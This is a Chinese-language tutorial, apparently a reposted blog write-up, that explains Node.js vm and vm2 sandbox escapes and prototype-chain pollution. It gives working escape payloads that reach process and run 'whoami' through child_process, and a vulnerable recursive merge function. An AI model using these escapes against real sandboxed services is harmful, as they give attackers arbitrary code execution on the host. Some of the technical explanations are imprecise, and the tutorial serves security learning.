一、沙箱绕过
1.概念
沙箱绕过"是指攻击者利用各种方法和技术来规避或绕过应用程序或系统中的沙箱(sandbox)。沙箱是一种安全机制,用于隔离和限制应用程序的执行环境,从而防止恶意代码对系统造成损害。它常被用于隔离不受信任的代码,以防止其访问敏感数据或对系统进行未授权的操作。
当攻击者成功绕过沙箱时,他们可以在受影响的系统上执行恶意代码,并且有可能获取敏感信息、传播恶意软件、执行拒绝服务攻击或利用系统漏洞等。
2.例题分析
2.1vm模块例题1(利用上下文对象或this指向)
先说一下最简单的vm模块,vm模块是Node.JS内置的一个模块。理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。
示例
const vm = require('vm');
const script = `...`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
其实逃逸出沙箱就一种方法,就是拿到沙箱外部的变量或对象,然后用.toString方法和.constructor 属性来获取Function这个属性,然后拿到process,之后就可以执行任意代码了
这道例题可以直接拿this,因为这里没有方法使用了this,此时this指向global,构造如下payload
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
this.toString.constructor就是Function这个方法,然后利用Function返回process对象
然后调用子模块执行命令,成功绕过沙箱
Function是不能用m、n来获取,即使m、n 是在函数外部定义的
原因就是因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的,但是如果修改成{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。最终用nodejs执行下面的代码
const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
2.2vm模块例题2(利用toString属性)
const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
此时的this是指向变成null,无法获取Function属性,
arguments.callee是递归调用自身,.caller是一个指向调用当前函数的函数的引用。它提供了一种查找调用栈的方式,可以追溯到调用当前函数的函数。所以我们可以使用此方法来获取Function。
那么如果我们在沙盒中定义一个函数并返回,在沙盒外这个函数被调用,那么此时的arguments.callee.caller就是沙盒外的这个调用者,我们再通过这个调用者拿到它的constructor等属性,就可以绕过沙箱了。
构造如下payload
(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a })()
这道题的巧妙之处就在于最后的console.log('Hello ' + res),此时res不是字符串,而当一个字符串与另一个非字符串结合时,会把res转为字符串,相当于res.toString,此时就调用了我们payload里面的函数,执行了命令
2.3vm2模块例题1(触发调用栈溢出异常)
这道例题是用触发外部异常的方式来绕过的,但是vm2版本必须是在3.6.10之前
这个方法有趣的地方就在于,他是想办法在沙箱外的代码中触发一个异常,并在沙箱内捕捉,这样就可以获得一个外部变量e,再利用这个变量e的constructor执行代码。
而触发异常的方法就是“爆调用栈”,JavaScript在递归超过一定次数时就会抛出异常。
但我们需要保证的是:抛出异常的这个函数是在host作用域中(即沙箱外)。在js执行到1001次时,调用栈溢出,此时就会报错
"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){
}
}
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
2.4vm2模块例题(正则绕过)
const { VM } = require('vm2');
function safeEval(calc) {
if (calc.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return new VM().run(calc);
}
首先if判断,如果输入的calc参数没有匹配上这个正则,那if条件就会判为真,返回null,如果匹配上了这个正则,那就会被替换为空,if条件就会判为假,最终return new VM().run(calc),所以我们需要匹配上这个正则才行
这个正则可以分三部分
第一部分是必须有Math这个关键字,最后的?代表0次或者1次,所以Math.xxx和Math是都可以匹配上的
第二部分是匹配了+、-、*、/、&、|、^、%、<、>、=、,、?、:这些符号
第三部分是匹配了整数或者浮点数,比如3.14,也可以使用科学计数法,比如3.9e3
这个正则可以说过滤得比较严格,但是我们也可以绕过
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({gen(c)}))))(Math+1)()
它创建了一个方法,形参Math,方法的内容是先将Math.constructor赋值给Math,然后调用Math.constructor方法,内容是Math.fromCharCode({gen(c)}),我们可以先不看gen(c),这个方法可以将字符的ascii码转换为字符,这样我们就可以绕过它的正则
最后传参Math+1,这也可以被正则匹配上,那为什么要传这个参数呢
因为Math+1返回的是一个字符串,而字符串的constructor属性是toString方法,而toString方法的构造函数就是Function,最后的()立即执行。
然后便可以找到vm2对应版本的payload,和正则绕过结合,便可以成功实现绕过
二、原型链污染
通过foo.proto修改定义它的类的原型的属性
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
最后,虽然zoo是一个空对象{},但zoo.bar的结果居然是2:
原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。
后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。
(这样相当于给类添加了新的属性,而这个对象中也有bar这个属性,所以类的改变并不会影响到已经创建好的对象的属性,但是新创建的对象就不一样了)
1.首先我们要知道 构造函数.prototype指向的是一个对象(原型)
2.任何对象都有一个原型对象,这个原型对象由对象的内置属性__proto__指向它的构造函数的prototype指向的对象,即任何对象都是由一个构造函数创建的
3.只有构造函数内才有ptorotype属性
4.每个对象都内含有一个属性:__proto__,也就是说就算对象里面没有对这个属性进行赋值,那么也是有这个属性的
5.原型链的核心就是依赖对象__proto__的指向,当访问的属性在该对象不存在时,就会向上从该对象构造函数的prototype的进行查找,直至查找到Object时,就没有指向了。如果最终查找失败会返回undefined或报错
如何产生原型链污染?
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = {"a": 1, "__proto__": {"b": 2}}
merge(o1, o2)
console.log(o1.a, o1.b)//1,2
o3 = {}
console.log(o3.b)//无值
此时Object类没有被修改,故而原型类为Object的o3对象并没有b这个属性。
因为o2中的__proto__已经被解析成原型了
所以我们要使用JSON.parse文章来源:https://www.toymoban.com/news/detail-637618.html
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
此时执行后就可以利用原型链污染,修改Object类文章来源地址https://www.toymoban.com/news/detail-637618.html
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